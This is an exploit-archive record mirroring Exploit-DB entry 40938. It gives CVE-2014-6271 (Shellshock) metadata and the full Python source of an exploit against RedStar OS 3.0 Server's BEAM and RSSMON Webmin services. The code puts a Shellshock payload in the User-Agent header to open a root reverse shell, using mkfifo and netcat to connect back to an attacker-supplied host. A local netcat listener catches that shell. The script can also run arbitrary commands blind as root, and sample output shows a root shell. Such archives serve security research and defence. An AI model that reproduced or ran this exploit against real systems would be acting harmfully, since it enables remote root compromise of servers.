{"exploit":{"id":"EDB-40938","name":"RedStar 3.0 Server - 'Shellshock' 'BEAM' / 'RSSMON' Command Injection","description":"RedStar 3.0 Server - 'Shellshock' 'BEAM' / 'RSSMON' Command Injection","cves":["CVE-2014-6271"],"author":"Hacker Fantastic","published":"2016-12-18","platform":"linux","type":"local","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/40938","path":"exploits/linux/local/40938.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-40938.py","vulnerabilities":[{"id":"CVE-2014-6271","state":"PUBLISHED","title":null,"titleSource":null,"description":"GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka \"ShellShock.\" NOTE: the original fix for this issue was incorrect; CVE-2014-7169 has been assigned to cover the vulnerability that is still present after the incorrect fix.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-6271","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2014-6271"},"updatedAt":"2025-10-22T00:05:36.342Z","retrievedAt":"2026-11-26T16:21:04.123Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-40938.png?v=2","url":"https://exploitbin.com/exploits/EDB-40938","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-40938/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-40938/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/env python\n# RedStar OS 3.0 Server (BEAM & RSSMON) shellshock exploit\n# ========================================================\n# BEAM & RSSMON are Webmin based configuration utilities\n# that ship with RSS server 3.0. These packages are the\n# recommended GUI configuration components and listen on\n# a user specified port from 10000/tcp to 65535/tcp. They\n# are accessible on the local host only in vanilla install\n# unless the firewall is disabled. Both services run with\n# full root permissions and can be exploited for LPE or\n# network attacks. RSSMON has hardened SELinux policies\n# applied which hinder exploitation of this vulnerability\n# be limiting access to network resources. Commands are\n# still run as root in a blind way.\n#\n# $ python rsshellshock.py beam 192.168.0.31 10000 192.168.0.10 8080\n# [+] RedStar OS 3.0 Server (BEAM & RSSMON) shellshock exploit\n# [-] exploiting shellshock CVE-2014-6271...\n# sh: no job control in this shell\n# sh-4.1# id\n# uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:beam_t:s0-s15:c0.c1023\n# sh-4.1#\n#\n# -- Hacker Fantastic (https://myhackerhouse.com)\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\nimport subprocess\nimport requests\nimport sys\nimport os\n\ndef spawn_shell(cbport):\n    subprocess.call('nc -l ' + cbport, shell=True)\n\ndef shellshock(soft,ip,port,cbip,cbport):\n    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n    if soft == \"beam\":\n        user_agent = {'User-agent': '() { :; }; /bin/bash -c \"rm /tmp/.f;mkfifo /tmp/.f;cat /tmp/.f|/bin/sh -i 2>&1|nc '+cbip+' '+cbport+' >/tmp/.f\"'}\n    else:\n        shellstring = '() { :; }; /bin/bash -c \"%s\"' % (cbip)\n        user_agent = {'User-agent': shellstring}\n    print \"[-] exploiting shellshock CVE-2014-6271...\"\n    myreq = requests.get(\"https://\"+ip+\":\"+port+\"/session_login.cgi\", headers = user_agent, verify=False)\n\nif __name__ == \"__main__\":\n    print \"[+] RedStar OS 3.0 Server (BEAM & RSSMON) shellshock exploit\"\n    if len(sys.argv) < 5:\n        print \"[-] Use with <beam> <host> <port> <connectback ip> <connectback port>\"\n        print \"[-] Or with <rssmon> <host> <port> <cmd>\"\n        sys.exit()\n    if(sys.argv[1]==\"beam\"):\n        newRef=os.fork()\n        if newRef==0:\n            shellshock(sys.argv[1],sys.argv[2],sys.argv[3],sys.argv[4],sys.argv[5])\n        else:\n            spawn_shell(sys.argv[5])\n    else:\n        shellshock(sys.argv[1],sys.argv[2],sys.argv[3],sys.argv[4],0)","sha256":"148d27209aa16614a389e6d5118bb168c460eac8e84ec2ecc57a5655c03364a2","bytes":2479,"fetchedAt":"2026-11-27T03:09:28.717Z","encoding":"utf-8 (display only; download retains original bytes)"}